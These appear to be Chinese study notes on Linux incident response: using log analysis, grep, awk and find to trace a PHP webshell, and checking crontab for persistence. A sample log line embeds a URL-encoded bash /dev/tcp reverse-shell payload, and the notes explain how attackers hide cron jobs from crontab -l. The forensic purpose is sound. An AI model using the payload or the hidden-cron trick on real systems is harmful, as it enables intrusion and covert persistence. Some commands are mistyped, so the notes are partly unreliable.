netstat -anultp 檢視程序(用來判斷開啟了哪些服務等)
ls -al 檢視目錄下所有檔案,包括隱藏檔案
ls -alt 檢視目錄下所有檔案,包括隱藏檔案,按時間順序排序
cat access.log | wc -l 檢視檔案的行數 wc -l是檢視檔案行數的意思
cat -e access.log | grep 1.php 查詢accsee.log檔案中含有關鍵字1.php的行 cat access.log | grep -a 1.php 這倆用處一樣
awk正則匹配過濾文字命令 參考文章 https://blog.csdn.net/weixin_44657888/article/details/134817128 awk [引數] [處理內容] [操作物件]
例如,access.log日誌每行如下
192.168.1.7 - - [24/Apr/2022:15:27:32 +0000] "GET /data/avatar/1.php?2022=bash%20-i%20%3E&%20/dev/tcp/192.168.1.7/1234%200%3E&1 HTTP/1.1" 200 242 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0"$
訪問者ip 時間 請求頭 請求路徑 URL http版本 狀態碼 長度
awk '{print $1}' access.log 此命令為匹配欄位為1的資料並只顯示欄位為1的資料
即可篩選出所有IP
grep -v 反選目標
awk '{print $1 $4 $7}' access.log.1 | grep -v 192.168.1.7
grep命令 gerp -v "xxx" 11.txt 反選xxx內容,反選存在xxx內容的這行 gerp -i "xxx" 11.txt 不區分xxx的大小寫 grep -n "xxx" 11.txt 查詢含有xxx內容的行以及行號 grep -r "xxx" 搜尋當前目錄以及子目錄中所有包含xxx的行
awk '{print $1 $4 $7}' access.log.1 | grep -i 192.168.1.5 | grep "/user" 組合命令
find命令 參考文章: https://zhuanlan.zhihu.com/p/544622346 https://blog.csdn.net/inxunxun/article/details/128164047 https://blog.csdn.net/feyehong/article/details/135829108 find . 或者 find 都是搜當前目錄 find . -type -f -perm 777 查詢許可權為777的檔案 find . -name "*.php" ! -perm 664 找出當前目錄下許可權不是644的php檔案,感嘆號是反選 find -path 指定路徑查詢檔案 find -name "xxx*" 查詢當前目錄檔名字xxx開頭的檔案 find查詢時間對應的檔案 time單位為天 min單位為分鐘 -atime -amin xx天/分鐘訪問過的檔案 access -ctime -cmin xx天/分鐘改變檔案狀態的檔案 change -mtime -mtim xx天/分鐘改變檔案內容的檔案 modify find . -type f -atime -7 查詢最近七天內被訪問的檔案 find . -type f -atime 7 查詢七天前被訪問過的所有檔案 find . -type f -atime +7 搜尋超過七天被訪問過的所有檔案 -mtime 0表示查詢在今天內被修改過的檔案,-mtime -1表示查詢在過去一天內被修改過的檔案
我們透過stat來判斷檔案時間資訊,當我們再用echo進行重新寫入的時候發現檔案時間更改了,這裡是要注意的點,因為我們有時候需要保證檔案時間資訊,當你檢視檔案或者誤操作導致檔案時間進行了修改那麼可能對於對檔案判斷會有一些操作花費更多的時間,所以這裡需要注意。
發現確實是一句話木馬檔案,我們如果害怕對檔案內容不小心做出修改我們也可以使用如下命令進行檔案備份操作,使用chattr進行檔案鎖死,防止檔案傳播複製。
cp muma.php muma.php.bak
chatter muma.php.bak
crontab -l 檢視所有定時任務 crontab -e 檢視所有定時任務的隱藏任務
定時任務在/etc/crontab 檔案
當前使用者的crontab任務列表配置檔案。當然也可以直接開啟,路徑通常是在/var/spool/cron/下,檔案以使用者名稱命名,如/var/spool/cron/root
檢視隱藏定時任務參考文章:https://cloud.tencent.com/developer/article/2388738
原理:前面已經說過執行crontab -l其實就是執行“cat /var/spool/cron/crontabs/當前登入使用者的使用者名稱”,而cat命令自身存在一定缺陷,它會自動識別跳脫字元,比如執行命令printf "123\r" > 1.txt,
執行完成後使用cat命令讀取該檔案,如圖1-5所示,可以看到無法讀取123,只有Vim才可以看見檔案的內容,如圖1-6所示。那麼,攻擊者可以利用這個特性,寫入一個無法被crontab -l獲取的計劃任務。